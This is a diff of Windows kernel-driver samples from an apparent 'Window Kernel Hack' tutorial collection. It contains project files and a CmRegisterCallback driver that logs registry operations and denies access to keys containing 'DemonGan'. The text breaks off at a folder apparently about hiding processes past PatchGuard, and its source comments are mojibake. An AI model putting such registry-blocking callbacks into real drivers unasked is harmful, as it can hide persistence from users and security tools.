+DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="PsSetLoadImageNotifyRoutine_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.vcxproj" new file mode 100644 index 0000000..cd0e348 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.vcxproj" @@ -0,0 +1,287 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {99AF3D55-A540-4618-A56A-B50A322DFB67} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + PsSetLoadImageNotifyRoutine_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.vcxproj.filters" new file mode 100644 index 0000000..4149324 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.vcxproj.user" new file mode 100644 index 0000000..b2a66c7 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\250\241\345\235\227\345\212\240\350\275\275\347\233\221\346\216\247/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test/PsSetLoadImageNotifyRoutine_Test.vcxproj.user" @@ -0,0 +1,21 @@ + + + + Off + + + Off + + + Off + + + Off + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test.sln" new file mode 100644 index 0000000..0f568d1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CmRegisterCallback_Test", "CmRegisterCallback_Test\CmRegisterCallback_Test.vcxproj", "{CCFB1989-0741-46A6-B225-EBA0E96F52BF}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {CCFB1989-0741-46A6-B225-EBA0E96F52BF}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test.v12.suo" new file mode 100644 index 0000000..b7a3384 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/CmRegisterCallback_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/CmRegisterCallback_Test.inf" new file mode 100644 index 0000000..d130da3 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/CmRegisterCallback_Test.inf" @@ -0,0 +1,32 @@ +; +; CmRegisterCallback_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="CmRegisterCallback_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/CmRegisterCallback_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/CmRegisterCallback_Test.vcxproj" new file mode 100644 index 0000000..3fa2d3d --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/CmRegisterCallback_Test.vcxproj" @@ -0,0 +1,257 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {CCFB1989-0741-46A6-B225-EBA0E96F52BF} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + CmRegisterCallback_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/CmRegisterCallback_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/CmRegisterCallback_Test.vcxproj.filters" new file mode 100644 index 0000000..60e5f70 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/CmRegisterCallback_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/CmRegisterCallback_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/CmRegisterCallback_Test.vcxproj.user" new file mode 100644 index 0000000..14e421f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/CmRegisterCallback_Test.vcxproj.user" @@ -0,0 +1,15 @@ + + + + Off + + + Off + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/Driver.c" new file mode 100644 index 0000000..7cb53a8 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/Driver.c" @@ -0,0 +1,40 @@ +#include "Driver.h" +#include "NotifyRoutine.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // ûص + SetRegisterCallback(); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ + // ɾص + RemoveRegisterCallback(); +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/NotifyRoutine.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/NotifyRoutine.c" new file mode 100644 index 0000000..1451d23 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/NotifyRoutine.c" @@ -0,0 +1,186 @@ +#include "NotifyRoutine.h" + + +VOID ShowError(PCHAR lpszText, NTSTATUS ntStatus) +{ + DbgPrint("%s Error[0x%x]\n", lpszText, ntStatus); +} + + +// ûص +NTSTATUS SetRegisterCallback() +{ + NTSTATUS status = CmRegisterCallback(RegisterMonCallback, NULL, &g_liRegCookie); + if (!NT_SUCCESS(status)) + { + ShowError("CmRegisterCallback", status); + g_liRegCookie.QuadPart = 0; + return status; + } + + return status; +} + + +// ɾص +VOID RemoveRegisterCallback() +{ + if (0 < g_liRegCookie.QuadPart) + { + CmUnRegisterCallback(g_liRegCookie); + } +} + + +// ص +NTSTATUS RegisterMonCallback( + _In_ PVOID CallbackContext, + // ֻͣDzţָ룩 + _In_opt_ PVOID Argument1, + // ϸϢĽṹָ + _In_opt_ PVOID Argument2 + ) +{ + NTSTATUS status = STATUS_SUCCESS; + UNICODE_STRING ustrRegPath; + + // ȡ + LONG lOperateType = (REG_NOTIFY_CLASS)Argument1; + // ڴ + ustrRegPath.Length = 0; + ustrRegPath.MaximumLength = 1024 * sizeof(WCHAR); + ustrRegPath.Buffer = ExAllocatePool(NonPagedPool, ustrRegPath.MaximumLength); + if (NULL == ustrRegPath.Buffer) + { + ShowError("ExAllocatePool", 0); + return status; + } + RtlZeroMemory(ustrRegPath.Buffer, ustrRegPath.MaximumLength); + // жϲ + switch (lOperateType) + { + // ע֮ǰ + case RegNtPreCreateKey: + { + // ȡע· + GetRegisterObjectCompletePath(&ustrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->RootObject); + + // ʾ + DbgPrint("[RegNtPreCreateKey][%wZ][%wZ]\n", &ustrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->CompleteName); + break; + } + // ע֮ǰ + case RegNtPreOpenKey: + { + // ȡע· + GetRegisterObjectCompletePath(&ustrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->RootObject); + + // ʾ + DbgPrint("[RegNtPreOpenKey][%wZ][%wZ]\n", &ustrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->CompleteName); + break; + } + // ɾ֮ǰ + case RegNtPreDeleteKey: + { + // ȡע· + GetRegisterObjectCompletePath(&ustrRegPath, ((PREG_DELETE_KEY_INFORMATION)Argument2)->Object); + + // ʾ + DbgPrint("[RegNtPreDeleteKey][%wZ]\n", &ustrRegPath); + break; + } + // ɾֵ֮ǰ + case RegNtPreDeleteValueKey: + { + // ȡע· + GetRegisterObjectCompletePath(&ustrRegPath, ((PREG_DELETE_VALUE_KEY_INFORMATION)Argument2)->Object); + + // ʾ + DbgPrint("[RegNtPreDeleteValueKey][%wZ][%wZ]\n", &ustrRegPath, ((PREG_DELETE_VALUE_KEY_INFORMATION)Argument2)->ValueName); + break; + } + // ޸ļֵ֮ǰ + case RegNtPreSetValueKey: + { + // ȡע· + GetRegisterObjectCompletePath(&ustrRegPath, ((PREG_SET_VALUE_KEY_INFORMATION)Argument2)->Object); + + // ʾ + DbgPrint("[RegNtPreSetValueKey][%wZ][%wZ]\n", &ustrRegPath, ((PREG_SET_VALUE_KEY_INFORMATION)Argument2)->ValueName); + break; + } + default: + break; + } + // жǷDZע + if (IsProtectReg(ustrRegPath)) + { + // ܾ + status = STATUS_ACCESS_DENIED; + } + // ͷڴ + if (NULL != ustrRegPath.Buffer) + { + ExFreePool(ustrRegPath.Buffer); + ustrRegPath.Buffer = NULL; + } + + // ȡǰ, עĽ + PEPROCESS pEProcess = PsGetCurrentProcess(); + if (NULL != pEProcess) + { + UCHAR *lpszProcessName = PsGetProcessImageFileName(pEProcess); + if (NULL != lpszProcessName) + { + DbgPrint("Current Process[%s]\n", lpszProcessName); + } + } + + return status; +} + + +// ȡע· +BOOLEAN GetRegisterObjectCompletePath(PUNICODE_STRING pRegistryPath, PVOID pRegistryObject) +{ + // жݵַǷЧ + if ((FALSE == MmIsAddressValid(pRegistryObject)) || + (NULL == pRegistryObject)) + { + return FALSE; + } + // ڴ + ULONG ulSize = 512; + PVOID lpObjectNameInfo = ExAllocatePool(NonPagedPool, ulSize); + if (NULL == lpObjectNameInfo) + { + ShowError("ExAllocatePool", 0); + return FALSE; + } + // ȡע· + ULONG ulRetLen = 0; + NTSTATUS status = ObQueryNameString(pRegistryObject, (POBJECT_NAME_INFORMATION)lpObjectNameInfo, ulSize, &ulRetLen); + if (!NT_SUCCESS(status)) + { + ExFreePool(lpObjectNameInfo); + ShowError("ObQueryNameString", status); + return FALSE; + } + // + RtlCopyUnicodeString(pRegistryPath, (PUNICODE_STRING)lpObjectNameInfo); + // ͷڴ + ExFreePool(lpObjectNameInfo); + return TRUE; +} + + +// жǷDZע· +BOOLEAN IsProtectReg(UNICODE_STRING ustrRegPath) +{ + if (NULL != wcsstr(ustrRegPath.Buffer, L"DemonGan")) + { + return TRUE; + } + + return FALSE; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/NotifyRoutine.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/NotifyRoutine.h" new file mode 100644 index 0000000..66157d9 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Test/CmRegisterCallback_Test/NotifyRoutine.h" @@ -0,0 +1,46 @@ +#ifndef _NOTIFY_ROUTINE_H_ +#define _NOTIFY_ROUTINE_H_ + + +#include + + +// δ +PUCHAR PsGetProcessImageFileName(PEPROCESS pEProcess); + +NTSTATUS ObQueryNameString( + _In_ PVOID Object, + _Out_writes_bytes_opt_(Length) POBJECT_NAME_INFORMATION ObjectNameInfo, + _In_ ULONG Length, + _Out_ PULONG ReturnLength +); + + +// ûص +NTSTATUS SetRegisterCallback(); + +// ɾص +VOID RemoveRegisterCallback(); + +// ص +NTSTATUS RegisterMonCallback( + _In_ PVOID CallbackContext, + // ֻͣDzţָ룩 + _In_opt_ PVOID Argument1, + // ϸϢĽṹָ + _In_opt_ PVOID Argument2 + ); + +// ȡע· +BOOLEAN GetRegisterObjectCompletePath(PUNICODE_STRING pRegistryPath, PVOID pRegistryObject); + +// жǷDZע· +BOOLEAN IsProtectReg(UNICODE_STRING ustrRegPath); + + + +// עصCookie +LARGE_INTEGER g_liRegCookie; + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.sln" "b/[\346\225\231\347\250\213] 